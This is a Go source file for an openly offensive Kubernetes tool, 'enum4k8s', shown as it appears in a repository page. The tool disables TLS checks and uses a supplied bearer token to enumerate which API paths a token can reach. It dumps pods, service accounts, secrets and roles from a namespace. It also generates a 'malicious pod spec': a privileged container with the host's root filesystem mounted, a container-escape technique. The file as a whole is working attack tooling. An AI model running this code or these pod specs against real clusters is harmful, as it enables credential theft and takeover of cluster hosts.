-
Notifications
You must be signed in to change notification settings - Fork 35
/
Copy pathenum4k8s.go
238 lines (218 loc) · 6.08 KB
/
enum4k8s.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
package main
import (
//"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"flag"
"crypto/tls"
"strconv"
"strings"
)
func get(url string, headers *map[string]string) (*http.Response, error) {
client := &http.Client{}
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
for k, v := range *headers {
req.Header.Add(k, v)
}
res, err := client.Do(req)
if err != nil {
return nil, err
}
defer res.Body.Close() // we don't care about this, only status code
return res, err
}
func getJson(
url string,
jsonData *interface{},
headers *map[string]string,
) (*http.Response, error) {
client := &http.Client{}
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
for k, v := range *headers {
req.Header.Add(k, v)
}
res, err := client.Do(req)
if err != nil {
return nil, err
}
// make sure the body ReaderCloser gets closed once the func exits
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
return nil, err
}
json.Unmarshal(body, &jsonData)
return res, err
}
func panicOnErr(err error) {
if err != nil {
panic(err)
}
}
func fmtJsonMap(m map[string]interface{}, out *string) {
for k, v := range m {
// cast k and v to string to be safe
if w, ok := v.(string); ok {
*out += k + " -> " + w + "\n"
}
}
}
func getPaths(
url string,
paths *[]string,
headers *map[string]string,
) (map[string]int ,error) {
statuses := make(map[string]int)
for p := range *paths {
res, err := get(url + (*paths)[p], headers)
if err != nil {
return nil, err
}
statuses[(*paths)[p]] = res.StatusCode
}
return statuses, nil
}
func main() {
// Disable SSL security checks
http.DefaultTransport.
(*http.Transport).
TLSClientConfig = &tls.Config{
InsecureSkipVerify: true,
}
urlPtr := flag.String("url", "https://kubernetes.default.svc", "the url of the k8s api server")
jwtPtr := flag.String("jwt", "", "the token to use for authorization")
nsPtr := flag.String("ns", "default", "the namespace to try and enumerate")
dumpPtr := flag.Bool("dump", false, "Dump all the information possible")
podPtr := flag.Bool("pod", false, "Generate a malicious pod spec in JSON format")
namePtr := flag.String("name", "", "The name for for the pod spec")
cmdPtr := flag.String("cmd", "", "The command string for the pod spec")
imagePtr := flag.String("img", "", "The image for the pod spec")
flag.Parse()
if *podPtr == true {
podName := *namePtr
podCmdStr := *cmdPtr
podImage := *imagePtr
errMsg := "\n[!] -name, -cmd, -img required when using -pod"
if podName == "" || podCmdStr == "" || podImage == "" {
panic(errMsg)
}
podStr := `{
"apiVersion":"v1",
"kind":"Pod",
"metadata":{"name":"%s"},
"spec":{
"containers":[{
"name":"%s",
"image":"%s",
"command":%s,
"securityContext":{
"privileged":true
},
"volumeMounts":[{
"mountPath":"/mnt/host",
"name":"hostvolume",
"mountPropagation":"Bidirectional"
}]
}],
"volumes":[{
"name":"hostvolume",
"hostPath":{
"path":"/"
}
}]
}
}`
fmt.Printf(podStr, podName, podName, podImage, podCmdStr)
return
}
headers := map[string]string{
"Accept": "application/json",
}
if *jwtPtr != "" {
*jwtPtr = strings.ReplaceAll(*jwtPtr, "\"", "")
//fmt.Println("Bearer " + *jwtPtr)
headers["Authorization"] = "Bearer " + *jwtPtr
}
var jsonData interface{}
res, err := getJson(*urlPtr + "/version", &jsonData, &headers)
panicOnErr(err)
// TODO: pretty print the version info
if res.StatusCode == 200 {
var out string
jsonMap := jsonData.(map[string]interface{})
fmtJsonMap(jsonMap, &out)
fmt.Println("[!] k8s version info:")
fmt.Println(out)
}
parsedPaths := false
//var pathsEnumRes map[string]int
res, err = getJson(*urlPtr + "/swagger.json", &jsonData, &headers)
panicOnErr(err)
if res.StatusCode == 200 {
var out string
jsonMap := jsonData.(map[string]interface{})
fmtJsonMap(jsonMap, &out)
fmt.Println("[+] got /swagger.json... attempting to enumerate access")
} else {
res, err = getJson(*urlPtr + "/openapi/v2", &jsonData, &headers)
panicOnErr(err)
if res.StatusCode == 200 {
fmt.Println("[+] got /openapi/v2... attempting to enumerate access")
fmt.Println("[+] Using namespace: " + *nsPtr)
//var out string
jsonMap := jsonData.(map[string]interface{})
pathsMap := jsonMap["paths"].(map[string]interface{})
pathsSlice := make([]string, 0)
fmt.Println("[!] API Paths")
// set the namespace in each path where {namespace} is present
// Ideally we should extract the namespace from the token if it is supplied
// We can add this later.
for k, _ := range pathsMap {
// replace {namespace} with -ns value
// TODO retool this to go into a slice!
pathsSlice = append(pathsSlice, strings.Replace(k, "{namespace}", *nsPtr, 1))
}
res, err := getPaths(*urlPtr, &pathsSlice, &headers)
panicOnErr(err)
parsedPaths = true
for k, v := range res {
if v != 403 {
fmt.Println(k + " -> " + strconv.Itoa(v))
}
}
}
}
if *dumpPtr == true && parsedPaths == true {
/* Try to dump the followoing:
* - /api/v1/namespaces/{namespace}/pods
* - /api/v1/namespaces/{namespace}/serviceaccounts
* - /api/v1/namespaces/{namespace}/secrets
* - /api/v1/namespaces/{namespace}/roles
*/
base := "/api/v1/namespaces/" + *nsPtr
paths := []string{
base + "/pods",
base + "/serviceaccounts",
base + "/secrets",
base + "/roles",
}
for i := range paths {
var jsonData interface{}
url := *urlPtr + paths[i]
_, err := getJson(url, &jsonData, &headers)
panicOnErr(err)
fmt.Println("\n[!] Attempting to dump " + paths[i])
prettyJson, err := json.MarshalIndent(jsonData,"", " ")
panicOnErr(err)
fmt.Println(string(prettyJson))
}
}
}